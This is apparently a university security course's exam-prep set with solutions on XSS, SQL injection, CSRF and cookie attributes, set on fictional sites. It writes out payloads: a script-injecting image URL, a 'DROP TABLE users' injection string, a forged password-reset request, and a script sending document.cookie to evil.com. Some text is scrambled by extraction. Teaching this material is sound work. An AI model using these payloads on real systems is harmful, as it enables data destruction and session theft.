## CS 161 Computer Security

Exam Prep 8

Q1 SQL Injection

(20 points)

CS 161 students are using a modified version of Piazza to discuss project questions! In this version, the names and profile pictures of the students who answer questions frequently are listed on a side panel on the website.

The server stores a table of users with the following schema:

```
CREATE TABLE users (
First TEXT, -- First name of the user.

Last TEXT, -- Last name of the user.

ProfilePicture TEXT, -- URL of the image.
FrequentPoster BOOLEAN, -- Are they a frequent poster?

);
```

Q1.1 (3 points) Assume that you are a frequent poster. When playing around with your account, you notice that you can set your profile picture URL to the following, and your image on the frequent poster panel grows wider than everyone else's photos:

ProfilePicture URL: https://cs161.org/evan.jpg" width="1000

## Frequent posters



What kind of vulnerability might this indicate on Piazza's website?

•	Stored XSS	0	Path traversal attack
0	Reflected XSS	0	Buffer overflow
$\bigcirc$	CSDF		

**Solution:** Because the user seems to be able to inject arbitrary HTML through the image URL, this might indicate a stored XSS vulnerability. The user can submit an profile picture URL that escapes the img tag of the image and injects a malicious script into future users who attempt to load the profile picture.

Q1.2 (3 points) Provide a malicious image URL that causes the JavaScript alert(1) to run for any browser that loads the frequent poster panel. Assume all relevant defenses are disabled.

Hint: Recall that image tags are typically formatted as <img src="image.png">.

```
Solution: The input would look something like the following:
"><script>alert(1)</script><img src="
So when injected into the image, this would render as:
    <img src="image.png"><script>alert(1)</script><img src=""><</pre>
We assume that all relevant defenses (e.g. content security policy) are disabled, so this script
```

Q1.3 (4 points) Suppose your account is not a frequent poster, but you still want to conduct an attack through the frequent posters panel!

When a user creates an account on Piazza, the server runs the following code:

will run when the frequent poster panel is loaded.

```
query := fmt.Sprintf("
    INSERT INTO users (First, Last, ProfilePicture, FrequentPoster)
        VALUES ('%s', '%s', FALSE);
    ",
    first, last, profilePicture)
db.Exec(query)
```

Provide an input for profilePicture that would cause your malicious script to run the next time a user loads the frequent posters panel. You may reference PAYLOAD as your malicious image URL from earlier, and you may include PAYLOAD as part of a larger input.

**Solution:** There's a key insight here: your accout isn't a frequent poster, but you want it to show up in the frequent posters panel, so you need to set FrequentPoster to TRUE for that to happen! Because it's hardcoded as FALSE in the current injection, we need to do something like the following:

Q1.4 (4 points) Instead of injecting a malicious script, you want to conduct a DoS attack on Piazza! Provide an input for profilePicture that would cause the SQL statement DROP TABLE users to be executed by the server.

**Solution:** Similar to the previous problem, we're going to construct a SQL injection attack. This time, we need to start a completely new statement, so we'll use a semicolon to start the DROP TABLE users statement:

```
', FALSE); DROP TABLE users --
```

This results in the following SQL being executed:

Suppose that session cookies are used to authenticate to Piazza. This token is checked whenever the user sends a request to Piazza.

Clarification during exam: "Your malicious script" refers to your exploit in 7.2.

- Q1.5 (3 points) Your malicious script submits a GET request to the Piazza website that marks "helpful!" on one of your comments. Does the same-origin policy defend against this attack?
  - O Yes, because the same-origin policy prevents the script from making the request
  - $\ensuremath{\mathsf{O}}$  Yes, because the script runs with the origin of the attacker's website
  - No, because the same-origin policy does not block any requests from being made
  - O No, because the script runs with the origin of Piazza's website

**Solution:** The best answer here is that the SOP (in the context of how we teach it in this class) doesn't block any requests from being made – so if a request is being made from the Piazza homepage that makes a change on Piazza's webpage, then SOP doesn't block that request from occurring.

It is true that the script runs with the origin of Piazza's website, but even if it ran from the origin of a different website, SOP (again, in the context of how we teach it in class) wouldn't block the request from being made. So the third answer choice is the best answer here.

Q1.6	` 1	nts) Your malicious script submits a GET request to the Piazza website that marks "helpful! e of your comments. Does enabling CSRF tokens defend against this attack?
	0	Yes, because the attacker does not know the value of the CSRF token
	0	Yes, because the script runs with the origin of the attacker's website
	0	No, because GET requests do not change the state of the server
	•	No, because the script runs with the origin of Piazza's website

**Solution:** Since the script runs in the origin of the Piazza website, the script can leak the value of the CSRF token presumably embedded in the HTML and make a GET request with a legitimate CSRF token.

GET requests *can* change the state of the server; it's only convention that they *usually* don't do this.

We don't usually talk about how CSRF tokens work with GET requests in this class, but we do give you enough information to reason this one out!

## Q2 Cookie Crumbling (21 points) Alice and Eve both have accounts on EvanBook. EvanBook is a social media website that allows users to make posts. Those posts are stored on EvanBook servers. Q2.1 (2 points) Eve makes an EvanBook post with the contents: <script src="http://evanmail.com/something.js"></script> Assume EvanBook does not check user inputs. If Alice opens Eve's post, what happens? The JavaScript in something.js runs with the origin of evanbook.com. O The JavaScript in something. js runs with the origin of evanmail.com. O The JavaScript in something.js does not run. **Solution:** JavaScript runs with the origin of the page that loaded it. Q2.2 (3 points) Which of the following statements is true about Alice opening Eve's post? Select all that apply. Alice's browser is able to make a request to evanmail.com/something.js without being blocked ☐ If EvanBook sanitized all JavaScript input, Alice's browser would not run something.js. If EvanBook sanitized all HTML input, Alice's browser would not run something.js. $\square$ None of the above **Solution:**

A: True, same-origin policy doesn't stop you from making requests.

B: False, Eve never put JavaScript on EvanBook servers.

C: True, Eve's post would no longer be interpreted as HTML.

O2.3	(3	points	) Eve	makes	an l	EvanBook	post	with	the	contents	s:
22.3	( -	POILIE	, , _	marco	uii	Lvanbook	Post	AA T CTT	uic	COLLECTION	٠,

<script src="http://evanbook.com/resetPassword?password=123"></script>

The resetPassword endpoint makes a request that sets the currently logged-in user's password to the "password" query parameter input.

Assume EvanBook does not check user inputs. When Alice opens Eve's post, which attack has Eve executed?

0	Stored XSS	● CSRF	0	None of the above
0	Reflected XSS	O SQL injection		

**Solution:** This is a CSRF attack - Eve tricked Alice into making a request and attaching cookies to cause some authenticated action to occur.

Note that even though we used the script tags in HTML, we never loaded JavaScript; we just used the tags to trick Alice's browser into making a request for some JavaScript that wasn't actually there.

	http://evil.com/store is a page controlled by Eve that takes in URL query parameters, and stores those URL query parameters in the database of the website.							
		ne EvanBook does not chent to evil.com? Select		•	opens Eve's post, which of these cookie			
	ue, Secure = False							
	■ Domain = evil.com, Path = /store, HTTPOnly = False, Secure = False							
	y = True, Secure = True							
	☐ Domain = evanbook.com, Path = /, HTTPOnly = True, Secure = False							
	= False, Secure = False							
	<ul><li>■ Domain = evanbook.com, Path = /, HTTPOnly = False, Secure = True</li><li>■ None of the above</li></ul>							
	e browser automatically attaches cookies com, so any cookies that don't have the y doesn't matter here, because JavaScript lly attaches and sends them in an HTTP							
	The second way of receiving cookies is the JavaScript fetch instruction that sends values in a request to evil.com. Here, JavaScript is accessing the cookies, so we care the HttpOnly flag. Note that the Secure flag doesn't matter here, because the browse automatically attaching the cookies; the JavaScript is accessing all the cookies and s their values to the server.							
00.5								
Q2.5	(3 points) Which attack has Eve executed?							
		Stored XSS	0	CSRF	O None of the above			
	0	Reflected XSS	0	SQL injection				
		ution: Eve tricked Alice	into run	ning JavaScript sto	tored in a post on the EvanBook servers,			

<script>fetch("http://evil.com/store?token=" + document.cookie)</script>

Q2.4 (6 points) Eve makes an EvanBook post with the contents:

Q2.6 (4 points) To log into EvanBook, you must go through authentication on login.evanbook.com, and set a cookie to keep track of your authenticated status.

The session token cookie should be secure against network attackers, and should get sent to as many pages on evanbook.com as possible.

If the attribute could be set to any value, select or write "Doesn't matter."

Domain							
Solution: evanbook.com							
Path							
Solution: /							
Secure							
● True	O False	O Doesn't matter					
Solution: True							
HttpOnly							
● True	O False	O Doesn't matter					

**Solution:** True Because network attacker could inject JavaScript in a separate HTTP packet. HttpOnly set to true makes this not help the attacker.